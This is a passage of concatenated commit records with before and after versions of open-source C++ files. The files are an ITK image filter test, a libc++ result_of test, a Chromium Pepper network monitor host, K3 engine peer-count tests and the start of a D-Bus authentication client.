or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\n#include \"itkEllipseSpatialObject.h\"\n#include <itkSpatialObjectToImageFilter.h>\n\nint itkSpatialObjectToImageFilterTest(int, char* [] )\n{\n typedef itk::EllipseSpatialObject<2> EllipseType;\n\n EllipseType::Pointer ellipse = EllipseType::New();\n ellipse->SetRadius(10);\n\n \/\/ Center the circle in the image\n EllipseType::TransformType::OffsetType offset;\n offset.Fill(25);\n ellipse->GetObjectToParentTransform()->SetOffset(offset);\n ellipse->ComputeObjectToWorldTransform();\n\n typedef itk::Image<double,2> ImageType;\n\n typedef itk::SpatialObjectToImageFilter<EllipseType,ImageType> SpatialObjectToImageFilterType;\n SpatialObjectToImageFilterType::Pointer imageFilter = SpatialObjectToImageFilterType::New();\n imageFilter->SetInput(ellipse);\n imageFilter->SetInsideValue(1);\n imageFilter->GetInsideValue();\n imageFilter->SetOutsideValue(0);\n imageFilter->GetOutsideValue();\n imageFilter->SetChildrenDepth(1);\n imageFilter->GetChildrenDepth();\n ImageType::SizeType size;\n size[0]=50;\n size[1]=50;\n imageFilter->SetSize(size);\n\n \/\/ Testing spacing \n std::cout << \"Testing Spacing: \";\n \n float spacing_float[2];\n double spacing_double[2];\n\n for(unsigned int i=0;i<2;i++)\n {\n spacing_float[i]=1.0;\n spacing_double[i]=1.0;\n }\n imageFilter->SetSpacing(spacing_float);\n imageFilter->SetSpacing(spacing_double);\n const double* spacing_result = imageFilter->GetSpacing();\n \n for(unsigned int i=0;i<2;i++)\n {\n if(spacing_result[i]!=1.0)\n {\n std::cout << \"[FAILURE]\" << std::endl;\n return EXIT_FAILURE;\n }\n }\n\n std::cout << \"[PASSED]\" << std::endl;\n\n \/\/ Testing Origin \n std::cout << \"Testing Origin: \";\n \n float origin_float[2];\n double origin_double[2];\n\n for(unsigned int i=0;i<2;i++)\n {\n origin_float[i]=0.0;\n origin_double[i]=0.0;\n }\n imageFilter->SetOrigin(origin_float);\n imageFilter->SetOrigin(origin_double);\n const double* origin_result = imageFilter->GetOrigin();\n \n for(unsigned int i=0;i<2;i++)\n {\n if(origin_result[i]!=0.0)\n {\n std::cout << \"[FAILURE]\" << std::endl;\n return EXIT_FAILURE;\n }\n }\n\n std::cout << \"[PASSED]\" << std::endl;\n\n \/\/ Testing PrintSelf\n std::cout << imageFilter << std::endl;\n\n \/\/Update the filter\n imageFilter->Update();\n\n ImageType::Pointer image = imageFilter->GetOutput();\n\n std::cout << \"Testing Output Image: \";\n\n ImageType::IndexType index;\n \/\/ Test only centered pixels\n for(int i=-5;i<5;i++)\n {\n for(int j=-5;j<5;j++)\n {\n index[0] = 25+i;\n index[1] = 25+j;\n\n if(image->GetPixel(index) != 1.0)\n {\n std::cout << \"[FAILURE]\" << std::endl;\n return EXIT_FAILURE;\n }\n }\n }\n \n\n\n std::cout << \"[PASSED]\" << std::endl;\n\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ <functional>\n\n\/\/ result_of<Fn(ArgTypes...)>\n\n#include <type_traits>\n#include <memory>\n\ntypedef bool (&PF1)();\ntypedef short (*PF2)(long);\n\nstruct S\n{\n operator PF2() const;\n double operator()(char, int&);\n void calc(long) const;\n char data_;\n};\n\ntypedef void (S::*PMS)(long) const;\ntypedef char S::*PMD;\n\nint main()\n{\n static_assert((std::is_same<std::result_of<S(int)>::type, short>::value), \"Error!\");\n static_assert((std::is_same<std::result_of<S&(unsigned char, int&)>::type, double>::value), \"Error!\");\n static_assert((std::is_same<std::result_of<PF1()>::type, bool>::value), \"Error!\");\n static_assert((std::is_same<std::result_of<PMS(std::unique_ptr<S>, int)>::type, void>::value), \"Error!\");\n static_assert((std::is_same<std::result_of<PMS(S, int)>::type, void>::value), \"Error!\");\n static_assert((std::is_same<std::result_of<PMS(const S&, int)>::type, void>::value), \"Error!\");\n#ifndef _LIBCPP_HAS_NO_RVALUE_REFERENCES\n static_assert((std::is_same<std::result_of<PMD(S)>::type, char&&>::value), \"Error!\");\n#endif\n static_assert((std::is_same<std::result_of<PMD(const S*)>::type, const char&>::value), \"Error!\");\n}\n<commit_msg>Constrain __invoke functions more accurately. This fixes http:\/\/llvm.org\/bugs\/show_bug.cgi?id=15861 .<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ <functional>\n\n\/\/ result_of<Fn(ArgTypes...)>\n\n#include <type_traits>\n#include <memory>\n\ntypedef bool (&PF1)();\ntypedef short (*PF2)(long);\n\nstruct S\n{\n operator PF2() const;\n double operator()(char, int&);\n void calc(long) const;\n char data_;\n};\n\ntypedef void (S::*PMS)(long) const;\ntypedef char S::*PMD;\n\nstruct wat\n{\n wat& operator*() { return *this; }\n void foo();\n};\n\nint main()\n{\n static_assert((std::is_same<std::result_of<S(int)>::type, short>::value), \"Error!\");\n static_assert((std::is_same<std::result_of<S&(unsigned char, int&)>::type, double>::value), \"Error!\");\n static_assert((std::is_same<std::result_of<PF1()>::type, bool>::value), \"Error!\");\n static_assert((std::is_same<std::result_of<PMS(std::unique_ptr<S>, int)>::type, void>::value), \"Error!\");\n static_assert((std::is_same<std::result_of<PMS(S, int)>::type, void>::value), \"Error!\");\n static_assert((std::is_same<std::result_of<PMS(const S&, int)>::type, void>::value), \"Error!\");\n#ifndef _LIBCPP_HAS_NO_RVALUE_REFERENCES\n static_assert((std::is_same<std::result_of<PMD(S)>::type, char&&>::value), \"Error!\");\n#endif\n static_assert((std::is_same<std::result_of<PMD(const S*)>::type, const char&>::value), \"Error!\");\n using type = std::result_of<decltype(&wat::foo)(wat)>::type;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"content\/browser\/renderer_host\/pepper\/pepper_network_monitor_host.h\"\n\n#include \"base\/task_runner_util.h\"\n#include \"base\/threading\/sequenced_worker_pool.h\"\n#include \"content\/browser\/renderer_host\/pepper\/browser_ppapi_host_impl.h\"\n#include \"content\/browser\/renderer_host\/pepper\/pepper_socket_utils.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/common\/socket_permission_request.h\"\n#include \"ppapi\/proxy\/ppapi_messages.h\"\n#include \"ppapi\/shared_impl\/private\/net_address_private_impl.h\"\n\nnamespace content {\n\nnamespace {\n\nbool CanUseNetworkMonitor(bool external_plugin,\n int render_process_id,\n int render_view_id) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n SocketPermissionRequest request = SocketPermissionRequest(\n SocketPermissionRequest::NETWORK_STATE, std::string(), 0);\n return pepper_socket_utils::CanUseSocketAPIs(\n external_plugin, false \/* private_api *\/, request, render_process_id,\n render_view_id);\n}\n\nscoped_ptr<net::NetworkInterfaceList> GetNetworkList() {\n scoped_ptr<net::NetworkInterfaceList> list(new net::NetworkInterfaceList());\n net::GetNetworkList(list.get());\n return list.Pass();\n}\n\n} \/\/ namespace\n\nPepperNetworkMonitorHost::PepperNetworkMonitorHost(\n BrowserPpapiHostImpl* host,\n PP_Instance instance,\n PP_Resource resource)\n : ResourceHost(host->GetPpapiHost(), instance, resource),\n weak_factory_(this) {\n int render_process_id;\n int render_view_id;\n host->GetRenderViewIDsForInstance(instance,\n &render_process_id,\n &render_view_id);\n\n BrowserThread::PostTaskAndReplyWithResult(\n BrowserThread::UI, FROM_HERE,\n base::Bind(&CanUseNetworkMonitor, host->external_plugin(),\n render_process_id, render_view_id),\n base::Bind(&PepperNetworkMonitorHost::OnPermissionCheckResult,\n weak_factory_.GetWeakPtr()));\n}\n\nPepperNetworkMonitorHost::~PepperNetworkMonitorHost() {\n net::NetworkChangeNotifier::RemoveIPAddressObserver(this);\n}\n\nvoid PepperNetworkMonitorHost::OnIPAddressChanged() {\n GetAndSendNetworkList();\n}\n\nvoid PepperNetworkMonitorHost::OnPermissionCheckResult(\n bool can_use_network_monitor) {\n if (!can_use_network_monitor) {\n host()->SendUnsolicitedReply(pp_resource(),\n PpapiPluginMsg_NetworkMonitor_Forbidden());\n return;\n }\n\n net::NetworkChangeNotifier::AddIPAddressObserver(this);\n GetAndSendNetworkList();\n}\n\nvoid PepperNetworkMonitorHost::GetAndSendNetworkList() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n\n \/\/ Call GetNetworkList() on a thread that allows blocking IO.\n base::PostTaskAndReplyWithResult(\n BrowserThread::GetBlockingPool(), FROM_HERE,\n base::Bind(&GetNetworkList),\n base::Bind(&PepperNetworkMonitorHost::SendNetworkList,\n weak_factory_.GetWeakPtr()));\n}\n\nvoid PepperNetworkMonitorHost::SendNetworkList(\n scoped_ptr<net::NetworkInterfaceList> list) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n\n scoped_ptr<ppapi::proxy::SerializedNetworkList> list_copy(\n new ppapi::proxy::SerializedNetworkList(list->size()));\n for (size_t i = 0; i < list->size(); ++i) {\n const net::NetworkInterface& network = list->at(i);\n ppapi::proxy::SerializedNetworkInfo& network_copy = list_copy->at(i);\n network_copy.name = network.name;\n\n network_copy.addresses.resize(\n 1, ppapi::NetAddressPrivateImpl::kInvalidNetAddress);\n bool result = ppapi::NetAddressPrivateImpl::IPEndPointToNetAddress(\n network.address, 0, &(network_copy.addresses[0]));\n DCHECK(result);\n\n \/\/ TODO(sergeyu): Currently net::NetworkInterfaceList provides\n \/\/ only name and one IP address. Add all other fields and copy\n \/\/ them here.\n network_copy.type = PP_NETWORKLIST_TYPE_UNKNOWN;\n network_copy.state = PP_NETWORKLIST_STATE_UP;\n network_copy.display_name = network.name;\n network_copy.mtu = 0;\n }\n host()->SendUnsolicitedReply(\n pp_resource(), PpapiPluginMsg_NetworkMonitor_NetworkList(*list_copy));\n}\n\n} \/\/ namespace content\n<commit_msg>Fixed broken build.<commit_after>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"content\/browser\/renderer_host\/pepper\/pepper_network_monitor_host.h\"\n\n#include \"base\/task_runner_util.h\"\n#include \"base\/threading\/sequenced_worker_pool.h\"\n#include \"content\/browser\/renderer_host\/pepper\/browser_ppapi_host_impl.h\"\n#include \"content\/browser\/renderer_host\/pepper\/pepper_socket_utils.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/common\/socket_permission_request.h\"\n#include \"ppapi\/proxy\/ppapi_messages.h\"\n#include \"ppapi\/shared_impl\/private\/net_address_private_impl.h\"\n\n\nnamespace content {\n\nnamespace {\n\nbool CanUseNetworkMonitor(bool external_plugin,\n int render_process_id,\n int render_view_id) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n SocketPermissionRequest request = SocketPermissionRequest(\n SocketPermissionRequest::NETWORK_STATE, std::string(), 0);\n return pepper_socket_utils::CanUseSocketAPIs(\n external_plugin, false \/* private_api *\/, &request, render_process_id,\n render_view_id);\n}\n\nscoped_ptr<net::NetworkInterfaceList> GetNetworkList() {\n scoped_ptr<net::NetworkInterfaceList> list(new net::NetworkInterfaceList());\n net::GetNetworkList(list.get());\n return list.Pass();\n}\n\n} \/\/ namespace\n\nPepperNetworkMonitorHost::PepperNetworkMonitorHost(\n BrowserPpapiHostImpl* host,\n PP_Instance instance,\n PP_Resource resource)\n : ResourceHost(host->GetPpapiHost(), instance, resource),\n weak_factory_(this) {\n int render_process_id;\n int render_view_id;\n host->GetRenderViewIDsForInstance(instance,\n &render_process_id,\n &render_view_id);\n\n BrowserThread::PostTaskAndReplyWithResult(\n BrowserThread::UI, FROM_HERE,\n base::Bind(&CanUseNetworkMonitor, host->external_plugin(),\n render_process_id, render_view_id),\n base::Bind(&PepperNetworkMonitorHost::OnPermissionCheckResult,\n weak_factory_.GetWeakPtr()));\n}\n\nPepperNetworkMonitorHost::~PepperNetworkMonitorHost() {\n net::NetworkChangeNotifier::RemoveIPAddressObserver(this);\n}\n\nvoid PepperNetworkMonitorHost::OnIPAddressChanged() {\n GetAndSendNetworkList();\n}\n\nvoid PepperNetworkMonitorHost::OnPermissionCheckResult(\n bool can_use_network_monitor) {\n if (!can_use_network_monitor) {\n host()->SendUnsolicitedReply(pp_resource(),\n PpapiPluginMsg_NetworkMonitor_Forbidden());\n return;\n }\n\n net::NetworkChangeNotifier::AddIPAddressObserver(this);\n GetAndSendNetworkList();\n}\n\nvoid PepperNetworkMonitorHost::GetAndSendNetworkList() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n\n \/\/ Call GetNetworkList() on a thread that allows blocking IO.\n base::PostTaskAndReplyWithResult(\n BrowserThread::GetBlockingPool(), FROM_HERE,\n base::Bind(&GetNetworkList),\n base::Bind(&PepperNetworkMonitorHost::SendNetworkList,\n weak_factory_.GetWeakPtr()));\n}\n\nvoid PepperNetworkMonitorHost::SendNetworkList(\n scoped_ptr<net::NetworkInterfaceList> list) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n\n scoped_ptr<ppapi::proxy::SerializedNetworkList> list_copy(\n new ppapi::proxy::SerializedNetworkList(list->size()));\n for (size_t i = 0; i < list->size(); ++i) {\n const net::NetworkInterface& network = list->at(i);\n ppapi::proxy::SerializedNetworkInfo& network_copy = list_copy->at(i);\n network_copy.name = network.name;\n\n network_copy.addresses.resize(\n 1, ppapi::NetAddressPrivateImpl::kInvalidNetAddress);\n bool result = ppapi::NetAddressPrivateImpl::IPEndPointToNetAddress(\n network.address, 0, &(network_copy.addresses[0]));\n DCHECK(result);\n\n \/\/ TODO(sergeyu): Currently net::NetworkInterfaceList provides\n \/\/ only name and one IP address. Add all other fields and copy\n \/\/ them here.\n network_copy.type = PP_NETWORKLIST_TYPE_UNKNOWN;\n network_copy.state = PP_NETWORKLIST_STATE_UP;\n network_copy.display_name = network.name;\n network_copy.mtu = 0;\n }\n host()->SendUnsolicitedReply(\n pp_resource(), PpapiPluginMsg_NetworkMonitor_NetworkList(*list_copy));\n}\n\n} \/\/ namespace content\n<|endoftext|>"} {"text":"<commit_before>#include <Common.hpp>\n#include <Engine.hpp>\n#include <Dispatch.hpp>\n#include <MessageProcessor.hpp>\n\n#include <functional>\n#include <iostream>\n#include <sstream>\n\n#include <boost\/regex.hpp>\n#include <boost\/thread\/thread.hpp>\n\n#include <xUnit++\/xUnit++.h>\n\nnamespace K3 {\n\nstd::string localhost = \"127.0.0.1\";\nAddress peer1;\nAddress peer2;\nAddress peer3;\nAddress rendezvous;\n\nint nodeCounter(0);\n\nusing std::cout;\nusing std::endl;\nusing std::bind;\nusing std::string;\nusing std::shared_ptr;\n\n\n\/\/ \"Trigger\" Declarations\nvoid join(shared_ptr<Engine> engine, string message_contents) {\n Message m = Message(rendezvous, \"register\", \"1\");\n engine->send(m);\n}\n\nvoid register2(shared_ptr<Engine> engine, string message_contents) {\n int n = std::stoi(message_contents);\n nodeCounter += n;\n}\n\n\/\/ MP setup\nTriggerDispatch buildTable(shared_ptr<Engine> engine) {\n TriggerDispatch table = TriggerDispatch();\n table[\"join\"] = bind(&K3::join, engine, std::placeholders::_1);\n table[\"register\"] = bind(&K3::register2, engine, std::placeholders::_1);\n return table;\n}\n\nshared_ptr<MessageProcessor> buildMP(shared_ptr<Engine> engine) {\n auto table = buildTable(engine);\n shared_ptr<MessageProcessor> mp = make_shared<DispatchMessageProcessor>(DispatchMessageProcessor(table));\n return mp;\n}\n\n\/\/ Engine setup\nshared_ptr<Engine> buildEngine(bool simulation, SystemEnvironment s_env) {\n \/\/ Configure engine components\n shared_ptr<InternalCodec> i_cdec = make_shared<DefaultInternalCodec>(DefaultInternalCodec());\n shared_ptr<ExternalCodec> e_cdec = make_shared<DefaultCodec>(DefaultCodec());\n\n \/\/ Construct an engine\n Engine engine = Engine(simulation, s_env, i_cdec, e_cdec);\n return make_shared<Engine>(engine);\n}\n\n}\n\nFACT(\"Simulation mode CountPeers with 3 peers should count 3\") {\n K3::nodeCounter = 0;\n K3::peer1 = K3::make_address(K3::localhost, 3000);\n K3::peer2 = K3::make_address(K3::localhost, 3001);\n K3::peer3 = K3::make_address(K3::localhost, 3002);\n K3::rendezvous = K3::peer1;\n std::list<K3::Address> peers = std::list<K3::Address>();\n peers.push_back(K3::peer1);\n peers.push_back(K3::peer2);\n peers.push_back(K3::peer3);\n K3::SystemEnvironment s_env = K3::defaultEnvironment(peers);\n\n auto engine = K3::buildEngine(true, s_env);\n auto mp = K3::buildMP(engine);\n K3::Message m1 = K3::Message(K3::peer1, \"join\", \"()\");\n K3::Message m2 = K3::Message(K3::peer2, \"join\", \"()\");\n K3::Message m3 = K3::Message(K3::peer3, \"join\", \"()\");\n engine->send(m1);\n engine->send(m2);\n engine->send(m3);\n\n \/\/ Run Engine\n engine->runEngine(mp);\n\n \/\/ Check the result (the 6th fib number should = 8)\n Assert.Equal(3, K3::nodeCounter);\n}\n\nFACT(\"Network mode CountPeers with 3 peers should count 3\") {\n K3::nodeCounter = 0;\n using boost::thread;\n using boost::thread_group;\n \/\/ Create peers\n K3::peer1 = K3::make_address(K3::localhost, 3000);\n K3::peer2 = K3::make_address(K3::localhost, 3005);\n K3::peer3 = K3::make_address(K3::localhost, 3002);\n K3::rendezvous = K3::peer1;\n \/\/ Create engines\n auto engine1 = K3::buildEngine(false, K3::defaultEnvironment(K3::peer1));\n auto engine2 = K3::buildEngine(false, K3::defaultEnvironment(K3::peer2));\n auto engine3 = K3::buildEngine(false, K3::defaultEnvironment(K3::peer3));\n \/\/ Create MPs\n auto mp1 = K3::buildMP(engine1);\n auto mp2 = K3::buildMP(engine2);\n auto mp3 = K3::buildMP(engine3);\n \/\/ Create initial messages (source)\n K3::Message m1 = K3::Message(K3::peer1, \"join\", \"()\");\n K3::Message m2 = K3::Message(K3::peer2, \"join\", \"()\");\n K3::Message m3 = K3::Message(K3::peer3, \"join\", \"()\");\n engine1->send(m1);\n engine2->send(m2);\n engine3->send(m3);\n \/\/ Fork a thread for each engine\n auto service_threads = std::shared_ptr<thread_group>(new thread_group());\n thread t1 = engine1->forkEngine(mp1);\n thread t2 = engine2->forkEngine(mp2);\n thread t3 = engine3->forkEngine(mp3);\n\n service_threads->add_thread(&t1);\n service_threads->add_thread(&t2);\n service_threads->add_thread(&t3);\n\n boost::this_thread::sleep_for( boost::chrono::seconds(5) );\n engine1->forceTerminateEngine();\n engine2->forceTerminateEngine();\n engine3->forceTerminateEngine();\n service_threads->join_all();\n service_threads->remove_thread(&t1);\n service_threads->remove_thread(&t2);\n service_threads->remove_thread(&t3);\n\n \/\/ Check the result\n Assert.Equal(3, K3::nodeCounter);\n}\n<commit_msg>fixed another comment<commit_after>#include <Common.hpp>\n#include <Engine.hpp>\n#include <Dispatch.hpp>\n#include <MessageProcessor.hpp>\n\n#include <functional>\n#include <iostream>\n#include <sstream>\n\n#include <boost\/regex.hpp>\n#include <boost\/thread\/thread.hpp>\n\n#include <xUnit++\/xUnit++.h>\n\nnamespace K3 {\n\nstd::string localhost = \"127.0.0.1\";\nAddress peer1;\nAddress peer2;\nAddress peer3;\nAddress rendezvous;\n\nint nodeCounter(0);\n\nusing std::cout;\nusing std::endl;\nusing std::bind;\nusing std::string;\nusing std::shared_ptr;\n\n\n\/\/ \"Trigger\" Declarations\nvoid join(shared_ptr<Engine> engine, string message_contents) {\n Message m = Message(rendezvous, \"register\", \"1\");\n engine->send(m);\n}\n\nvoid register2(shared_ptr<Engine> engine, string message_contents) {\n int n = std::stoi(message_contents);\n nodeCounter += n;\n}\n\n\/\/ MP setup\nTriggerDispatch buildTable(shared_ptr<Engine> engine) {\n TriggerDispatch table = TriggerDispatch();\n table[\"join\"] = bind(&K3::join, engine, std::placeholders::_1);\n table[\"register\"] = bind(&K3::register2, engine, std::placeholders::_1);\n return table;\n}\n\nshared_ptr<MessageProcessor> buildMP(shared_ptr<Engine> engine) {\n auto table = buildTable(engine);\n shared_ptr<MessageProcessor> mp = make_shared<DispatchMessageProcessor>(DispatchMessageProcessor(table));\n return mp;\n}\n\n\/\/ Engine setup\nshared_ptr<Engine> buildEngine(bool simulation, SystemEnvironment s_env) {\n \/\/ Configure engine components\n shared_ptr<InternalCodec> i_cdec = make_shared<DefaultInternalCodec>(DefaultInternalCodec());\n shared_ptr<ExternalCodec> e_cdec = make_shared<DefaultCodec>(DefaultCodec());\n\n \/\/ Construct an engine\n Engine engine = Engine(simulation, s_env, i_cdec, e_cdec);\n return make_shared<Engine>(engine);\n}\n\n}\n\nFACT(\"Simulation mode CountPeers with 3 peers should count 3\") {\n K3::nodeCounter = 0;\n K3::peer1 = K3::make_address(K3::localhost, 3000);\n K3::peer2 = K3::make_address(K3::localhost, 3001);\n K3::peer3 = K3::make_address(K3::localhost, 3002);\n K3::rendezvous = K3::peer1;\n std::list<K3::Address> peers = std::list<K3::Address>();\n peers.push_back(K3::peer1);\n peers.push_back(K3::peer2);\n peers.push_back(K3::peer3);\n K3::SystemEnvironment s_env = K3::defaultEnvironment(peers);\n\n auto engine = K3::buildEngine(true, s_env);\n auto mp = K3::buildMP(engine);\n K3::Message m1 = K3::Message(K3::peer1, \"join\", \"()\");\n K3::Message m2 = K3::Message(K3::peer2, \"join\", \"()\");\n K3::Message m3 = K3::Message(K3::peer3, \"join\", \"()\");\n engine->send(m1);\n engine->send(m2);\n engine->send(m3);\n\n \/\/ Run Engine\n engine->runEngine(mp);\n\n \/\/ Check the result \n Assert.Equal(3, K3::nodeCounter);\n}\n\nFACT(\"Network mode CountPeers with 3 peers should count 3\") {\n K3::nodeCounter = 0;\n using boost::thread;\n using boost::thread_group;\n \/\/ Create peers\n K3::peer1 = K3::make_address(K3::localhost, 3000);\n K3::peer2 = K3::make_address(K3::localhost, 3005);\n K3::peer3 = K3::make_address(K3::localhost, 3002);\n K3::rendezvous = K3::peer1;\n \/\/ Create engines\n auto engine1 = K3::buildEngine(false, K3::defaultEnvironment(K3::peer1));\n auto engine2 = K3::buildEngine(false, K3::defaultEnvironment(K3::peer2));\n auto engine3 = K3::buildEngine(false, K3::defaultEnvironment(K3::peer3));\n \/\/ Create MPs\n auto mp1 = K3::buildMP(engine1);\n auto mp2 = K3::buildMP(engine2);\n auto mp3 = K3::buildMP(engine3);\n \/\/ Create initial messages (source)\n K3::Message m1 = K3::Message(K3::peer1, \"join\", \"()\");\n K3::Message m2 = K3::Message(K3::peer2, \"join\", \"()\");\n K3::Message m3 = K3::Message(K3::peer3, \"join\", \"()\");\n engine1->send(m1);\n engine2->send(m2);\n engine3->send(m3);\n \/\/ Fork a thread for each engine\n auto service_threads = std::shared_ptr<thread_group>(new thread_group());\n thread t1 = engine1->forkEngine(mp1);\n thread t2 = engine2->forkEngine(mp2);\n thread t3 = engine3->forkEngine(mp3);\n\n service_threads->add_thread(&t1);\n service_threads->add_thread(&t2);\n service_threads->add_thread(&t3);\n\n boost::this_thread::sleep_for( boost::chrono::seconds(5) );\n engine1->forceTerminateEngine();\n engine2->forceTerminateEngine();\n engine3->forceTerminateEngine();\n service_threads->join_all();\n service_threads->remove_thread(&t1);\n service_threads->remove_thread(&t2);\n service_threads->remove_thread(&t3);\n\n \/\/ Check the result\n Assert.Equal(3, K3::nodeCounter);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n Copyright (C) 2013 Andreas Hartmetz <ahartmetz@gmail.com>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Library General Public\n License as published by the Free Software Foundation; either\n version 2 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Library General Public License for more details.\n\n You should have received a copy of the GNU Library General Public License\n along with this library; see the file COPYING.LGPL. If not, write to\n the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n Boston, MA 02110-1301, USA.\n\n Alternatively, this file is available under the Mozilla Public License\n Version 1.1. You may obtain a copy of the License at\n http:\/\/www.mozilla.org\/MPL\/\n*\/\n\n#include \"authclient.h\"\n\n#include \"icompletionlistener.h\"\n#include \"itransport.h\"\n#include \"stringtools.h\"\n\n#include <cassert>\n#include <iostream>\n#include <sstream>\n\n#ifdef __unix__\n#include <sys\/types.h>\n#include <unistd.h>\n#endif\n\n#ifdef _WIN32\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n#include <sddl.h>\n#include \"winutil.h\"\n#endif\n\nusing namespace std;\n\nAuthClient::AuthClient(ITransport *transport)\n : m_state(InitialState),\n m_completionListener(nullptr)\n{\n cerr << \"AuthClient constructing\\n\";\n transport->addListener(this);\n setReadNotificationEnabled(true);\n byte nullBuf[1] = { 0 };\n transport->write(chunk(nullBuf, 1));\n\n stringstream uidEncoded;\n#ifdef _WIN32\n \/\/ Most common (or rather... actually used) authentication method on Windows:\n \/\/ - Server publishes address of a nonce file; the file name is in a shared memory segment\n \/\/ - Client reads nonce file\n \/\/ - Client connects and sends the nonce data, TODO: before or after the null byte \/ is there a null byte?\n \/\/ - Client uses EXTERNAL auth and says which Windows security ID (SID) it intends to have\n uidEncoded << fetchWindowsSid();\n#else\n \/\/ Most common (or rather... actually used) authentication method on Unix derivatives:\n \/\/ - Client sends a null byte so the server has something to receive with recvmsg()\n \/\/ - Server checks UID using SCM_CREDENTIALS, a mechanism of Unix local sockets\n \/\/ - Client uses EXTERNAL auth and says which Unix user ID it intends to have\n\n \/\/ The numeric UID is first encoded to ASCII (\"1000\") and the ASCII to hex... because.\n uidEncoded << geteuid();\n#endif\n string extLine = \"AUTH EXTERNAL \" + hexEncode(uidEncoded.str()) + \"\\r\\n\";\n cout << extLine;\n transport->write(chunk(extLine.c_str(), extLine.length()));\n m_state = ExpectOkState;\n}\n\nbool AuthClient::isFinished() const\n{\n return m_state >= AuthenticationFailedState;\n}\n\nbool AuthClient::isAuthenticated() const\n{\n return m_state == AuthenticatedState;\n}\n\nvoid AuthClient::setCompletionListener(ICompletionListener *listener)\n{\n m_completionListener = listener;\n}\n\nvoid AuthClient::handleTransportCanRead()\n{\n bool wasFinished = isFinished();\n while (!isFinished() && readLine()) {\n advanceState();\n }\n if (isFinished() && !wasFinished && m_completionListener) {\n m_completionListener->handleCompletion(this);\n }\n}\n\nbool AuthClient::readLine()\n{\n \/\/ don't care about performance here, this doesn't run often or process much data\n if (isEndOfLine()) {\n m_line.clear(); \/\/ start a new line\n }\n while (transport()->availableBytesForReading()) {\n byte readBuf[1];\n chunk in = transport()->read(readBuf, 1);\n assert(in.length == 1);\n m_line += char(in.ptr[0]);\n\n if (isEndOfLine()) {\n return true;\n }\n }\n return false;\n}\n\nbool AuthClient::isEndOfLine() const\n{\n return m_line.length() >= 2 &&\n m_line[m_line.length() - 2] == '\\r' && m_line[m_line.length() - 1] == '\\n';\n}\n\nvoid AuthClient::advanceState()\n{\n \/\/ TODO authentication ping-pong done *properly* (grammar \/ some simple state machine),\n \/\/ but hey, this works for now!\n \/\/ some findings:\n \/\/ - the string after the server OK is its UUID that also appears in the address string\n\n cout << \"> \" << m_line;\n\n switch (m_state) {\n case ExpectOkState: {\n \/\/ TODO check the OK\n#ifdef __unix__\n cstring negotiateLine(\"NEGOTIATE_UNIX_FD\\r\\n\");\n cout << negotiateLine.ptr;\n transport()->write(chunk(negotiateLine.ptr, negotiateLine.length));\n m_state = ExpectUnixFdResponseState;\n break; }\n case ExpectUnixFdResponseState: {\n#endif\n \/\/ TODO check the response\n cstring beginLine(\"BEGIN\\r\\n\");\n cout << beginLine.ptr;\n transport()->write(chunk(beginLine.ptr, beginLine.length));\n m_state = AuthenticatedState;\n break; }\n default:\n m_state = AuthenticationFailedState;\n transport()->close();\n }\n}\n<commit_msg>Remove some debug output<commit_after>\/*\n Copyright (C) 2013 Andreas Hartmetz <ahartmetz@gmail.com>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Library General Public\n License as published by the Free Software Foundation; either\n version 2 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Library General Public License for more details.\n\n You should have received a copy of the GNU Library General Public License\n along with this library; see the file COPYING.LGPL. If not, write to\n the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n Boston, MA 02110-1301, USA.\n\n Alternatively, this file is available under the Mozilla Public License\n Version 1.1. You may obtain a copy of the License at\n http:\/\/www.mozilla.org\/MPL\/\n*\/\n\n#include \"authclient.h\"\n\n#include \"icompletionlistener.h\"\n#include \"itransport.h\"\n#include \"stringtools.h\"\n\n#include <cassert>\n#include <iostream>\n#include <sstream>\n\n#ifdef __unix__\n#include <sys\/types.h>\n#include <unistd.h>\n#endif\n\n#ifdef _WIN32\n#define WIN32_LEAN_AND_MEAN\n#include 